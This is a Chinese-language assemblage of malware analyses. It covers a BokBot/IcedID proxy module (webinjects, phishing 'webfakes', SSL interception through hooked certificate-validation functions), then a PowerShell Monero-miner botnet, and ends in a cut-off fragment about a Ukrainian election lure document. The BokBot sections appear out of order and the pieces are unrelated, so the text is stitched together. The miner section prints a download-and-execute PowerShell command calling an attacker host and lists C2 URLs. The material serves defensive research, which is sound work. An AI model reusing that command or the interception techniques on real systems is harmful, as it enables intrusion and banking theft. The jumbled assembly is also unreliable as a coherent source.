(接上文)

八、流量操作:代理视角

BokBot的代理模块依赖于流量操作来窃取受害者的敏感信息。受害者浏览器生成的Web流量与目标url列表(webinjects)进行匹配,如果匹配成功,代理将执行下列操作之一:重定向到钓鱼网站(webfake);页面抓取;页面截图;或是忽略此条消息。对请求的响应需要匹配后再确定是否将HTML或Javascript注入页面并返回给受害者。

1.png

图3:BokBot WebFake流程概述

8.1、Web注入DAT文件

BokBot主模块下载的DAT文件是结构化的二进制文件,其中包含一系列目标url、目标HTML/Javascript代码块和要注入的Javascript/HTML代码块。在初始化过程中,该DAT文件将就每个webinject类别分成多个列表。webinject类别列表是由一系列webinject类构建的。解析后,每个元素都具有以下结构:

2.png

8.2、页面抓取

页面抓取处理函数对URL或HTML主体执行匹配,以确定是否应该抓取页面的信息并将其发送到C2。页面抓取的目标是银行帐户显示页面,以抓取目标的帐户信息。

· Type 33、34

这两种类型是使用精确的URL字符串或正则表达式来匹配受害者请求的URL。一旦匹配完成,HTML主体和匹配的URL都被发送到C2。每个目标url都与包含受害者账户信息的页面相关,例如:

chaseonline.chase.com/gw/secure/ena
client.schwab.com/Accounts/Summary/Summary.aspx

· Type 64

此类型将扫描网页主体,寻找与帐户余额、安全验证问题和其他个人数据相关的文本(“帐户余额”、“当前余额”等)。如果找到,URL、HTML主体和匹配的文本将被压缩并发送到C2。

8.3、页面截图

当URL与Type 49注入匹配时,能生成屏幕截图。过程如下:截图用Windows GDI+ API截取,生成位图,写入tmp文件,读入缓冲区,压缩,然后发送到C2。位图被写入AppData下的本地临时目录,文件名是唯一的alpha字符字符串。例如:AppData\Local\Temp\alksfjlkdsfk.tmp。

尽管我们写此篇分析报告时研究的BokBot版本中,web注入没有提供具体的示例,但我们有理由相信这些屏幕截图将包含与商业和银行帐户相关的敏感细节。

8.4、代码注入

代码注入的工作方式是匹配URL,或者对HTML元素执行匹配和替换。

· Type17、19

Type 17和19用于隐藏页面中的元素、获取表单数据、注入代码、替换代码,以及让webfake获取受害者的信任感。这两种类型的区别在于,Type 17不依赖于正则表达式来匹配和替换HTML和Javascript。

3.png

· Type 81

Type 81是被代理服务器完全忽略的url列表。这样做的目的是为了避免在广告、聊天或电子邮件客户端插入广告时可能出现的复杂情况。请求和响应由代理转发给受害者,此段代码是无需修改的。

8.5、Webfake钓鱼站点

BokBot使用webinject创建目标网站的副本,这些副本网站称为webfake。通过重写URI将流量转发到webfake站点。本节介绍用于将流量重定向到webfake的每种注入类型。这些都是在Web浏览器不知情的情况下发生的。

4.png

图4:BokBot WebFake示例

· Type 50

Type 50请求对从客户端接收到的uri执行精确匹配(没有正则表达式)。当匹配成功时,URL被重写为指向webfake站点,请求被发送到副本页面。对该请求的响应由代理服务器解析并发回给受害者。

5.png

· Type 51

若要匹配单个图标/gif/位图/其他名称,则使用正则表达式匹配和替换:

匹配的正则表达式:^https:\/\/www\.amazon\.[a-z]{2,5}\/.*\/style\/images\/(.*)\.(png’|gif)$

替换URI:hxxps://hospirit[.]com/amazon/style/images/$1.$2

hospirit的IP地址:185.68.93.136

该正则表达式将用PNG或GIF文件的名称替换值“$1”和“$2”。这个重写的请求将从代理服务器发出。

6.png

· Type 52

Type 52请求似乎是检查子字符串的URL,然后提取该数据,但是我们用于撰写本篇报告的BokBot样本中不包含Type 52的重写过程。

· URL重写绕过

如果每次受害者试图登录目标网站时都使用相同的webfake过程,那么这也会成为一个问题。一旦收集了受害者的信息,就不再需要重写url来指向webfake站点。相反,请求应该不经修改就发送到真正的网站。为了确保这一点,BokBot维持了一个位于HKCU\Software\Classes\CLSID注册表项下的子键列表。

为此,需要为每个目标站点生成唯一的名称。 此类别中包含的每种注入类型都包含Webfake模板字段,例如:

7.png

上图中,黄色标注部分的值,其作用是生成唯一注册表项名称的种子(在“验证请求”一节中有更详细的介绍)。每个目标站点都包含一个类似于上面突出显示的值,或者一个使用URL主机名的标识符(例如,“amazon”)。

如果注册表子键存在,代理服务器将向C2发送一个请求,以确定是否应该重写请求。如果C2的响应不是两个字节之一(“0x2D”或“0x2B”),则不会重写合法URL来指向webfake站点。

8.6、验证请求

验证请求由Bot API javascript生成(后面将介绍),用于向C2发送数据,或者在注册表中插入/删除/查询值。使用多种验证请求类型,每一种都由代理服务器处理。

8.png

表4:验证命令

· Type 96

为了显示“Site Down for Maintenance”消息或向受害者提供合法的网站(绕过URL重写请求),注入javascript代码的Bot API可以生成Type 96的banknameS请求。

9.png

传递给请求主体的值将被写入注册表,并由Bot API和处理URL重定向请求类型的代码执行。

每个站点都提供一个惟一的ID,该ID通过banknameS参数发送到代理服务器。此值用于生成UUID,它将是注册表项的名称。所有这些条目都是在以下注册表路径下创建的:HKCU\Software\Classes\CLSID。

创建密钥之后,位于Type 96请求主体中的值被散列并写入注册表子密钥中的(默认)值字段。

· Type 97、98

Type 97和98的验证都将由Bot API注入的javascript生成,并将对Type 96请求创建的注册表项执行操作。Type 97查询注册表以查看值是否存在,Type 98将删除键。

· Type 100

要么Verification Type 100直接传递给C2(Type 2),要么请求告诉代理服务器以某种方式与C2(Type 1)交互。这些请求是HTTP POST或HTTP GET请求,其中包含从恶意javascript代码收集的信息。

8.7、小结

让我们以cashanalyzer网站注入回顾本节的内容:首先,代理服务器从Web浏览器接收访问www.cashanalyzer.com的请求,接着代理循环遍历各种webinject列表以匹配URL,继而找到匹配项。

10.png

代理服务器从Webfake Template字段的第一部分获取2299737dfa5c070dc29784f1219cd511值,并使用它生成一个UUID来确定是否设置了“站点停止维护”页面(请参阅“8.6、验证请求”一节)。如果存在,则向C2发送一个请求,以确定块页是否应该使用新的时间更新或删除。

一旦进行了块页检查,代理服务器将接受Webfake Template的其余部分,并用web协议(HTTP/HTTPS)和URL hospirit.com/cashanalyzer替换前面的://字符串。至于URL的路径和查询,content/main?a=2299737dfa5c070dc29784f1219cd511&b=#gid#&c=#id#被附加到URL的末尾。项目ID和Bot ID值分别替换#gid#和# ID #参数值令牌。

11.png

请求将发送到webfake。发送响应并进行其他检查以确定是否有任何匹配的注入类型。如果没有找到匹配,响应将被转发回受害者的浏览器而不进行修改。浏览器无法感知网页已被重定向了,且从用户视角看,初始URL仍然在浏览器地址栏中。

当浏览器响应时,将从webfake发送额外的请求来加载相关javascript文件。在本例中,main.js是从webfake加载的。浏览器请求从重定向的网站下载javascript文件,代理服务器再次执行webinject匹配例程。结果是找到了一个Type 19的匹配项。

12.png

当重定向的网站响应请求时,“Code to Inject”值将被注入main.js代码。现在,所有收集目标的帐户信息的必要组件都已到位。

一旦收集了表单数据,代理服务器将发送和处理Verification Type 100请求。这些请求是POST请求,表单数据包含在请求体中,由代理处理后,表单数据将通过向C2通信线程发送信号发送到C2。

13.png

请求参数可以通过“七、代理与C2的通信”一节进行解析。

代理服务器处理webinjects的方式有多种变化。但是,这个例子足以展示整个工作流程。

九、流量操作:浏览器视角

由于注入的javascript API有很多变体,所以我们不试图抽象归纳每个注入的高级进程的共同点,本节将继续以上一节中介绍的cashanalyzer.com为例。举一反三,此类分析也可用于了解其他注入的工作原理。

在本节中,前两小节将介绍站点如何与受害者、代理和C2之间进行交互。最后的“9.8、小结”一节则汇总介绍。

9.1、Bot API:核心Javascript模块

如前所述,main.js文件包含了Bot API代码。此代码提供了与代理、C2和网页HTML元素交互所需的一切,以确保受害者在输入帐户信息时能无缝链接。

9.2、令牌状态

令牌的状态是一个数字指示器,用于标识Bot API下一步应该采取什么操作。有五种象征性的状态:

1.png

表5:令牌状态

比如,如果出现某种错误,令牌状态被设置为3或4,这将触发javascript中的逻辑调用viewBlock方法(下一节中讲述)并加载“Site Down for Maintenance”(网站正在维护)页面。

9.3、页面视图的体系结构

为了确保以正确的顺序收集正确的信息,Bot API依赖于传统的视图/控制器体系结构。在本例中,控制器是由攻击者控制的webfake站点。Bot API客户端通知C2它已准备好接收命令,服务器响应命令,此命令用于加载下一页面视图。

2.png

表6:页面视图命令

Bot API接收到该命令后,将修改相关HTML元素的CSS显示字段来显示此代码块。使用webfake的典型会话将采取以下步骤:

1.加载登录页面视图

· 受害者输入账户信息并提交表单

· 在处理登录表单时,将显示一个等待页面

2.加载安全令牌页视图

· 受害者进入安全令牌

· 在处理安全令牌表单时,将显示一个等待页面

3.加载了姓名/姓氏/电话号码页面视图

· 受害者输入此信息

· 在处理此表单时,将显示另一个等待页面

下面的“9.8、小结”中将对此举例介绍介绍。

9.4、等待页面

当受害者试图登录网站时,代理将请求转发给webfake站点,而该站点将请求转发给合法站点,因此会有一段空闲期。为了避免引起任何怀疑,Bot API会显示一个等待页面。

3.png

图5:登录后等待页面

该网站有多个版本,每个版本对应一个帐号信息收集过程:登录信息;安全令牌信息;安全问题的答案;以及收集受害者姓名和地址的表格。

9.5、通信:Bot API请求到C2

代理服务器使用Validation Type 100请求将代表Bot API的命令转发到C2。这些请求中包含一个base64编码的字符串。该字符串解码为JSON格式的一系列参数。

4.png

表7描述了每个参数的含义。在这种情况下,Bot API通知C2该页面尚未初始化(无效)。

5.png

表7:Bot API C2通信的URL参数

Bot API定期发送Heatbeat(Type 1)请求。这些请求用作维持与C2的持续通信的手段,并为Bot API提供接收命令的媒介。

9.6、通信:C2响应Bot API

来自C2的响应包含了指定Bot API根据初始请求需要执行哪些操作的命令。每次提交表单后,C2都会接收到一条命令,告诉Bot API接下来要加载哪个页面。这些响应也是base64编码的JSON。

6.png

在本例中,命令ID为“99”,内容是告知Bot API重新加载原始站点。这将重置所有表单,清除所有站点块并加载原始页面。表8涵盖了C2响应的各个字段:

7.png

表8:C2响应字段

可以看到,表8的id字段与表6的内容是一致的。

9.7、站点维护页面

只要Bot API的令牌状态设置为“3”或“4”,就会显示一个错误页面,指出存在技术问题(图6)。只要存在与C2,webfake,代理服务器通信的问题,或者当webfake与真实网站通信时发生错误,令牌会被设置为这两种状态之一。

8.png

图6:BokBot代理的“Site Down for Maintenance”页面

修复日期是通过在当前时间上添加一个小时生成的。在显示网站之后,通过发送一个Type 96 Verification请求在注册表中设置这个时间戳。一旦计时器过期,将发送一个Type 98 Verification请求来从注册表中删除阻塞时间。

日志记录

Bot API不断地将日志数据作为base64编码的JSON发送回C2。下面是解码后的JSON对象:

9.png

此数据块有一系列键-值对,其中h键中包含了日志,也就是值。这些日志是描述性的,对于攻击者来说非常有用。

9.8、小结

9.8.1、初始浏览器请求

用户的浏览器向cashanlyzer.com发送请求,请求被代理拦截后重写,并发送到webfake站点,代理再将响应发送回受害者。页面内容还包含以下javascript代码,用于从攻击者控制的站点加载javascript文件:

10.png

这个main.js请求由代理转发,并在响应中注入以下代码:

11.png

此代码将调用main.js中定义的String.prototype.init方法。init方法包含恶意Bot API javascript模块,并将最终调用main函数来初始化和加载webfake站点。

12.png

图7:Cashanalyzer伪登录页面

在执行检查以确定是否需要加载块页面之后,Bot API调用viewStep方法并将字符串“login”传递给它,“login”是包含登录表单的HTML <div>对象的元素id。

13.png

该元素的显示字段将从none切换为block,并显示登录页面(图7)。之后用户就可以在该页面输入登录信息并单击“continue”。所有输入的数据都被放入C2请求结构中,并发送到webfake站点。

14.png

上面突出显示的段落中,第一部分是用户帐户凭据,第二部分是日志信息。日志信息会通知另一端的用户登录视图已经加载,最后一个视图是等待页面。

当Bot API不断发送心跳请求,等待来自webfake站点的响应时,受害者看到的等待页面会出现混乱。

15.png

处理完成后,Web服务器会响应一个命令来禁用登录页面,并使下一页面显现,在本例分析中,该命令是加载用户联系信息表单。

16.png

其余步骤是自解释的:后续操作由导致等待时间的表单组成,然后是其他表单,直到到达最后一步。

9.8.2、结束过程

收集完所有信息后,Bot API向代理服务器发送一个Validation Type 96的请求,但注册表中设置的值不是时间戳,而是字符串“true”,如下所示。

17.png

此请求指示代理服务器使用(默认)值创建 ‘HKCU\Software\Classes\CLSID\{7570CC99-D32B-6883-1375-9D2881583EFB)‘ 注册表项,并设置为四字节二进制值。设置完成后,任何进一步的访问尝试都会绕过所有重写URL的尝试(注入类型50,51,52),并将加载合法网站。

要加载合法网站,页面需要刷新,之后用户就能登录到合法的cashanalyzer.com网站。当然,如果用户要访问的网站仍与webinject匹配,那么还是会被手机信息(收集帐户余额数据等)。

十、CrowdStrike Falcon是如何阻止BokBot感染的

CrowdStrike Falcon Prevent™新一代防病毒软件在启用进程阻塞时能成功阻止BokBot,过程如下。

BokBot生成一个svchost子进程,注入主模块,然后svchost进程生成并注入多个子进程。图8中的流程树是使用已开启流程阻塞功能的Falcon Prevent,查看BokBot时的示例。如下所示,位于第一个svchost进程内部的BokBot的主模块启动了几个恶意子进程。

1.png

图8:未启用进程阻塞的BokBot进程树

如果没有启用预防功能,客户仍然会收到恶意活动的通知,但是不会自动采取任何预防动作。

10.1、可疑进程阻塞

Falcon Prevent能阻止BokBot的主模块和所有子模块的执行,同时启用了进程阻塞的Falcon Prevent可以杀死父进程svchost上的BokBot感染。图9是启用了流程阻塞的Falcon UI中的流程树,可以看到svchost流程被终止了。图10解释了终止此流程的原因。

2.png

图9:启用进程阻塞的BokBot进程树

3.png

图10:BokBot进程终止说明

可疑进程阻止是基于恶意软件行为的防护示例。即使恶意软件使用了Falcon的攻击指标(IOA)中未记录的行为,Falcon也可以通过利用下一代AV机器学习或Crowdstrike Intelligence团队收集的情报来防止恶意软件的执行。

十一、指标

BokBot哈希值

本文样本使用了以下哈希:

1.jpg

文件位置:

2.jpg

注册表:

3.jpg

网络监听器:

4.jpg

攻击者控制的网站:

5.jpg

一、BokBot:代理模块

CrowdStrike在最近的一篇博文中对BokBot的核心模块做了深入分析,而本篇文章作为前篇内容的延伸,将对BokBot代理模块的内部工作原理做深入探讨。BokBot代理模块是一段十分复杂的代码,其主要目的是诱骗受害者将敏感信息发送到命令和控制(C2)服务器。

二、概述

BokBot银行木马(也被称为IcedID)于2017年4月首次被发现,自那时起,CrowdStrike便对其展开了持续跟踪工作。BokBot被攻击者们广泛用于打击全球范围内的金融机构。它能通过检索多个模块来增强其功能,其中一个就包括运行本地代理服务器的模块,此模块能够拦截并潜在地操纵web流量,最终目的是用于金融诈骗。

BokBot核心模块能下载代理模块,并将其注入派生的svchost子进程中,而代理模块能在目标进程中初始化自身。下面是对这个过程的逐步分析。

三、模块初始化

在启动代理服务器线程之前,该代理模块会经历一个初始化的过程。它的大部分内容都跟前篇文章中介绍的其他BokBot模块类似,比如减少错误干扰、构建C2列表或是设置命名事件以与父进程通信。在截获来自用户浏览器的流量之前,需要执行以下步骤。

3.1、Webinject更新

用户模式异步过程调用(APC)对象用于触发进程内存中的webinject数据的更新事件。在初始化期间,将向APC队列发送单独的用户APC对象,每个对象对应一个webinject DAT文件(参见前篇文章)。每个DAT文件都被解码并存储在进程内存中,并将作为参数传递给APC回调函数。处理APC队列之后,web配置将被解析并加载到进程内存中。

3.2、C2通信线程

每当收集到要发送回C2的数据时,就会发信号通知通信线程。当注入的恶意javascript向代理服务器发送特定类型的请求时,都会发生信号事件(参见第九节:流量操作:浏览器视角)。返回的数据可能是收集到的个人信息、屏幕快照或与是代理相关的错误。

3.3、代理服务器初始化

代理服务器在TCP端口57391上被绑定到127.0.0.1。侦听器设置之后,将使用此socket注册Windows Socket API (WSA)事件处理程序,以处理所有连接/发送/接收网络请求。

3.4、SSL证书

为了对SSL连接执行man-In-middle (MITM)攻击,代理服务器需要生成SSL证书,并将其插入到证书库中。证书是通过调用CertCreateSelfSignCertificate创建的,使用的是以下硬编码标识名(DN)的值:

code-1.png

临时证书库在内存中创建,并最终写入到以下位置,文件名用Bot ID生成:

C:\Users\jules\AppData\Local\Temp\ D38D667F.tmp

证书库里将包含一个用于webinject和C2服务器的SSL证书。

code-2.png

完成这些步骤后,代理服务器就可以拦截来自浏览器的请求,但浏览器还尚未被重新配置为指向代理服务器。

四、代理连接

现在,每当用户的浏览器试图连接到一个网站时,请求就会被劫持,并首先由代理服务器处理。本节介绍如何管理连接状态、SSL MITM的工作机制,以及代理服务器采取的相应操作。

4.1、管理连接状态

所有连接都由一系列与WSA回调事件绑定的数据结构管理,这些数据结构跟踪与客户机的内部通信以及与目标网站的外部通信,并确保代理服务器处理的所有请求的完整性。

Figure-1-ProxyConnectionState.png

图1:代理连接状态体系结构

图1中的架构图总结了用于维护代理请求状态的代理服务器组件之间的关系布局。

4.2、SSL MITM

如果用户输入的URL能与webinject目标列表中的URL相匹配,则SSL请求会被代理劫持,代理使用自己的SSL证书将自身插入到通信中。代理服务器接收请求后,将使用代理服务器的SSL证书来建立SSL连接,之后再将请求发送到目标网站,并在代理和目标网站之间建立SSL连接。来自目标网站的响应被解密后再使用代理的证书进行加密,并将其发送给受害者,而流量则由代理的证书来解密。用于维护SSL通信流的状态SSL上下文数据结构类似于图1。

关于浏览器是如何将这些证书视为有效的,请参阅“6.6.4、确认有效证书”一节。

五、代理行为

如果请求的URL主机名与其中一个webinject不匹配,那么代理服务器将在受感染的主机和web服务器之间传递HTTP请求/响应。但是,如果URL与webinject目标站点匹配,则会采取其他操作(参见“八、流量操作:代理视角”一节)。

六、将浏览器重定向到代理

初始化代理服务器之后,任何正在执行的浏览器进程都会被配置为使用代理。为了做到这一步,BokBot会将代码注入浏览器进程。注入的代码将钩子添加到关键函数中,从而劫持浏览器流量。

6.1、浏览器进程选择

首先,BokBot会生成一个循环线程,用以迭代当前执行的所有进程名。而为了获取当前进程列表,使用的是ZwQuerySystemInformation生成的BASIC_PROCESS_INFORMATION结构列表。

6.1.1、进程识别

生成列表后,紧接着是标识浏览器进程的工作。浏览器进程用散列标识,如表1所示。

Table-1.png

表1:浏览器标识散列

散列值是使用自定义方法生成的,使用在样本之间变化的常量值进行异或运算,该常数值在不同的样本之间是不同的,因此散列值也是变化的。

6.1.2、代理配置检查

一旦确认了浏览器,就会检查此浏览器进程是否已经由BokBot配置了代理。为了跟踪注入的每个浏览器进程,将创建一个链表数据结构(图2)。如果浏览器本身不在列表中,则创建一个包含目标流程ID和目标流程创建时间的新列表项。

Figure2-proxied-browser-process-list.png

图2:浏览器进程跟踪链表

另外一项检查是尝试打开一个命名事件。代码注入之后,浏览器进程将创建一个命名事件。命名方案的生成方法与前篇关于BokBot核心模块的文章中讨论的方法类似,但不同之处在于流程ID被附加到了名称的末尾。模块调用OpenEvent,如果返回的错误代码是ERROR_FILE_NOT_FOUND,那么注入代码将继续执行。

6.2、打开进程和附加检查

模块通过调用OpenProcess打开浏览器进程的句柄,并检查进程是否为WOW64,如果是,则调用产生相同结果的过程。

同时,为了确定进程是否已配置,会进行双重检查,另一项检查是:

1.使用ZwQueryInformationProcess和ReadProcessMemory获取流程环境字符串。

2.检查每个字符串是否存在:v313235373937=true(3132353739是BotID的ascii表示形式)。

3.如果这个环境字符串存在,则不会发生注入。

6.3、浏览器进程注入和代码执行

代理配置代码的注入方式与BokBot的子进程注入方法大致相同(同样参考上篇文章),但有两点不同:一是调用OpenProcess连接进程;二是会为ZwWaitForSingleObject添加一个钩子。这意味着只要浏览器执行了ZwWaitForSingleObject,注入的代码就会执行删除钩子、配置代理、完成ZwWaitForSingleObject调用的工作,以维护流程执行。

6.3.1、上下文结构

上下文数据结构被注入到浏览器进程中,并为代理配置代码提供必要的信息以确保配置正确。

6.4、浏览器代理配置代码

配置代码实际上是一系列过程钩子,用于将代理模块插入通信通道:

· CertVerifyCertificateChainPolicy

· CertGetCertificateChain

· connect (ws2_32.dll)

以及用于特定浏览器的函数:

· Internet Explorer:MSAFD_ConnectEx

· Firefox:SSL_AuthCertificateHook

· Chrome:ws2_32.WSAEventSelect

6.4.1、插入钩子

大多数钩子都是通过遍历目标模块的导出表、散列程序名,然后将散列与静态值进行比较来插入的。如果散列匹配,则可以放置钩子。

Table-2.png

表2:钩子函数名散列

为了获得MSAFD_ConnectEx的地址,使用了另一种方法,我们以“6.6.3、勾住浏览器的特定函数”中的Internet Explorer: MSAEFD_ConnectEx为例进行讨论。

6.6.2、Winsock2 Connect 钩子

Winsock2钩子拦截所有使用connect API发送网络流量的AF_INET网络流量(Firefox和IE)。socket设置为非阻塞模式,使用ioctlsocket将新的connect调用发送到代理服务器。建立连接后,将包含以下数据的12字节数据包发送到代理服务器:

code-3.png

这12个字节将被解析并存储在PROXY_SESSION_CONTEXT数据结构中(图1)。任何使用此文件描述符的网络调用都将发送到代理服务器。无论哪个浏览器发出调用,都不会知道被代理拦截了流量。

6.6.3、勾住浏览器的特定函数

下列的钩子视不同浏览器而定。从本质上讲,无论是浏览器特定的库还是MS共享模块,每个浏览器都以不同的方式处理请求。

· Internet Explorer:MSAFD_ConnectEx

与前面的connect钩子类似,此功能使用包含代理服务器连接数据的socket来交换原始socket。过程地址不在mswsock.dll的导出表中,因此通过调用WSAIoctl套接字获取地址,IO控制代码为SIO_GET_EXTENSION_FUNCTION_POINTER (0xC8000006)。

· FireFox:SSL_AuthCertificateHook

Firefox使用SSL_AuthCertificateHook回调函数来验证证书。如果证书经过身份验证,则返回SECSuccess(null)。 BokBot会试图在“nss3.dll”模块中勾住此函数,如果失败,它将在“ssl3.dll”中补上相同的函数。钩子总是返回SECSuccess。

· Google Chrome:WSAEventSelect

除了勾住ws2_32.connect,BokBot还在WSAEventSelect的ws_32.dll模块中添加了一个额外的钩子。钩子为每个连接事件(FD_CONNECT)抓取socket和事件对象,数据将通过调用钩子连接程序来处理。

· Google Chrome: connect

这个钩子本质上与IE和Firefox的connect钩子相同。主要的区别是,WSAEventSelect钩子收集的所有连接事件都由这个钩子处理的。

6.6.4、确认有效证书

一旦浏览器流量被重定向到代理,Bokbot必须防止浏览器向用户发送证书错误的通知。为了确保证书得到验证和信任,需要连接两个过程:CertVerifyCertificateChainPolicy和GetCertificateChain。

证书链验证

证书链通过调用CertVerifyCertificateChainPolicy进行验证。此过程返回一个布尔函数表示链是否有效。BokBot通过挂钩此函数来确保所有验证SSL证书链(CERT_CHAIN_POLICY_SSL)的尝试都将返回TRUE。

证书链上下文信任

为了确保浏览器看到证书是可信的,BokBot挂钩GetCertificateChain过程。GetCertificateChain将构造一个包含CERT_SIMPLE_CHAIN结构数组的CERT_CHAIN_CONTEXT结构。每个CERT_SIMPLE_CHAIN结构都包含一个CERT_CHAIN_ELEMNT数据结构数组。

这些数据结构都包含一个字段TrustStatus,用于传递证书链的潜在问题。为了确保成功,需要修改TrustStatus字段,以确保链中的所有证书都是可信的。

TrustStatus是一个由标识错误的字段(ErrorStatus)和包含证书信息状态的字段(InfoStatus)组成的结构。在每个结构中,通过修改这两个字段诱使浏览器相信证书都是可信的。

首先,设置ErrorStatus表示证书或链没有错误:

code-3b.png

对于所有数据结构,此值都设置为相同的。然而,CERT_CHAIN_ELEMENT结构、CERT_CHAIN_CONTEXT和CERT_SIMPLE_CHAIN结构之间的InfoStatus字段是不同的:

code-3b.png

一旦设置了这两个值,证书链就会被浏览器视为可信的。

七、代理与C2的通信

在代理服务器和C2之间传递的大部分通信将由被过滤的数据或用于调试的错误消息组成。表3包含每个请求都要传递的URI参数。而具体发送的数据将在下一节中讨论。

Table-3.png

表3:C2 URI参数

下面是请求头的一个示例:

1.png

在这种情况下,请求体包含以下Zlib压缩数据:

2.png

请求体解压缩为以下内容:

3.png

由于篇幅较长,本文将分为两部分,稍后内容敬请期待。

趋势科技曾在2019年初在中国的大陆、台湾和香港地区发现了一类新的门罗币挖矿恶意软件变种,此恶意软件通过多种传播感染方法在系统和服务器中大肆植入加密货币挖矿机。在我们之前观测的样本中,其感染方式包括弱密码测试,以及使用哈希传递技术、Windows管理工具,和公开可用代码进行暴力攻击。然而近期,我们在日本发现了此恶意软件的新变种,攻击者在其中通过利用“永恒之蓝”漏洞和PowerShell脚本来侵入系统并逃避检测。

同时,我们的遥测技术显示,现今除了台湾和香港之外,在澳大利亚、越南、印度等地也出现了这类威胁,由此来看,攻击者正将僵尸网络扩散到其他国家和地区。

传播与行为

此恶意软件(由趋势科技检测为Trojan.PS1.LUDICROUZ.A)的主要传播技术是在受感染的机器上,根据弱密码列表来尝试登录网络中连接的其他计算机。恶意软件并非直接将远程命令发送到所连接的系统中去,而是先更改受感染计算机的防火墙和端口转发设置,并设置一个计划任务来下载和执行更新后的恶意软件副本。下载好的副本是个PowerShell脚本,由下列命令执行:

IEX (New-Object Net.WebClient).downloadstring(‘hxxp://v.beahh[.]com/wm?hp’)

t1.jpg

表1.弱密码列表。

恶意软件利用此表以及Invoke-WMIMethod(由趋势科技检测为HackTool.Win32.Impacket.AI)来远程访问其他计算机:

1.png

图1.Invoke-WMIMethod,用于远程访问设置的是弱密码的计算机。

恶意软件还使用哈希传递方法,通过用户的哈希密码向远程服务器验证自己身份。这种方法的步骤是,恶意软件首先通过使用Get-PassHashes命令获取存储在计算机中的哈希值,同时还有上面列出的弱密码列表的哈希值;获取哈希值后,恶意软件使用invok – smbclient(另一个公开可用的脚本)通过哈希传递来执行文件共享操作。

2.png

2-1.png

图2.使用哈希传递技术获取用户密码哈希值和弱密码哈希值。

如果成功,它将删除文件%Start Menu%\ Programs \ Startup \ run.bat,此文件可能是植入的旧版本恶意软件文件,它还删除以下内容:

· %Application Data%\ flashplayer.tmp

· %Application Data%\ sign.txt  – 用于指示计算机已被感染

· %Start Menu%\Programs\Startup\FlashPlayer.lnk – 负责在启动时执行tmp脚本

如果用户使用的是强密码,则恶意软件利用“永恒之蓝”进行传播。

3.png

图3.漏洞利用的相关有效负载。

通过上述方法感染计算机后,恶意软件将获取MAC地址并收集有关计算机中安装的防病毒产品的信息。它从C&C服务器下载另一个混淆的PowerShell脚本(趋势科技检测为Trojan.PS1.PCASTLE.B),并将获取的信息发回。下载的PowerShell是一个dropper,负责下载和执行恶意软件的组件,其中大部分是自身的副本。

4.png

图4.获取MAC地址和AV产品的例行程序。

恶意软件为了检查是否已经安装其组件,会寻找以下文件:

· %Temp%\kkk1.log

· %Temp%\pp2.log

· %Temp%\333.log

· %Temp%\kk4.log

· %Temp%\kk5.log

5.png

图5.检查是否已安装的恶意软件组件。

每个$ flagX代表一个组件。上述的PowerShell dropper脚本就是第一个组件$ flag,恶意软件通过安装一个计划任务来定期运行此脚本并检查更新。恶意软件的行为则取决于此脚本运行时的权限。第二个组件$ flag2可以从不同的URL地址处下载恶意软件的副本,并创建一个不同名称的调度任务。

6-1.png

6-2.png

图6.组件$ flag和$ flag2。

第三个组件(由趋势科技检测为TrojanSpy.Win32.BEAHNY.THCACAI)是一个植入的木马程序——一份更大文件尺寸的自身副本,可能会逃避沙箱检测,并从主机收集系统信息,包括:

· 电脑名称

· 机器的GUID

· MAC地址

· 操作系统版本

· 图像内存信息

· 系统时间

第四个组件是Python编译的二进制可执行文件,它能进一步传播恶意软件,还能够通过植入和执行Mimikatz的PowerShell实现(由趋势科技检测为Trojan.PS1.MIMIKATZ.ADW)来传递哈希攻击。

7.png

图7.植入的第四个可执行组件。

8-1.png

8-2.png

图8.检查是否已经安装了Mimikatz组件,并执行Mimikatz。

恶意软件还会试图使用弱SQL密码来访问数据库服务器,访问时使用的是xp_cmdshell来执行shell命令。与主文件一样,该组件通过重用与先前漏洞利用相关的公共可用代码,扫描可通过“永恒之蓝”利用的易受攻击设备的IP块。

9.png

图9.扫描易受攻击的数据库服务器。

第五个组件是一个可执行文件,可下载并执行。然而,在撰写本文时下载的URL处于脱机状态。

恶意软件的有效负载——门罗币挖矿机——也由PowerShell部署,但不是存储在文件中,而是被注入到自己的PowerShell进程中,并使用另一个公开可用的代码Invoke-ReflectivePEInjection。安装完成后,恶意软件会向C&C服务器报告其状态。

10.png

图10.下载并执行挖矿机有效负载的PowerShell脚本。

11.png

图11.执行挖矿机的有效负载。

结论

恶意软件的设计非常复杂。它利用计算机系统和数据库中的弱密码,针对公司可能仍在使用的遗留软件,使用基于PowerShell的脚本,在内存中下载和执行组件;并利用未修补的漏洞,以及使用Windows启动文件夹和任务调度程序进行安装。考虑到PowerShel及开源代码的日益普及,我们预计会在不远的将来看到更多更复杂的恶意软件。虽然与直接窃取个人身份信息相比,收集系统信息并发送回C&C可能看起来微不足道,但系统信息对于每台机器来说是独一无二的,可用于跟踪,识别和跟踪用户和活动。

12.png

图12.恶意软件新的URL地址。

我们建议用户尽快使用来自合法供应商的可用补丁更新系统。安装旧版本软件的用户还应该使用可靠来源的虚拟补丁进行更新。我们在撰写本文时,恶意软件仍处于活动状态,并已更新URL地址。同时,建议用户最好能使用复杂点的密码,并尽可能授权分层身份验证。对企业来说,应启用一个多层保护系统,能有效阻止此类威胁。

IoC

t2.jpg

URLs

hxxp://down[.]beahh[.]com/c32.dat
hxxp://down[.]beahh[.]com/new.dat?allv5
hxxp://ii[.]ackng[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}
hxxp://log[.]beahh[.]com/logging.php?ver=5p?src=wm&target
hxxp://oo[.]beahh[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}
hxxp://p[.]beahh[.]com/upgrade.php
hxxp://pp[.]abbny[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}
hxxp://v[.]beahh[.]com/wm?hp
hxxp://v[.]y6h[.]net/g?h
hxxp://v[.]y6h[.]net/g?l
lplp1[.]abbny[.]com:443
lplp1[.]ackng[.]com:443
lplp1[.]beahh[.]com:443

简述

3月中旬,一份有关乌克兰总统大选的可疑Office文件在野外出现。这份文件讲述了乌克兰大选民调的情况,以及对领跑候选人Volodymyr Zelenskiy的人生经历做了介绍,此外,该文件还用到了一个引人注目的标题,指出了乌克兰和俄罗斯之间的冲突问题。调查后发现,这篇文章实际上是直接复制了Daily Express于今年2月份发表的一篇文章

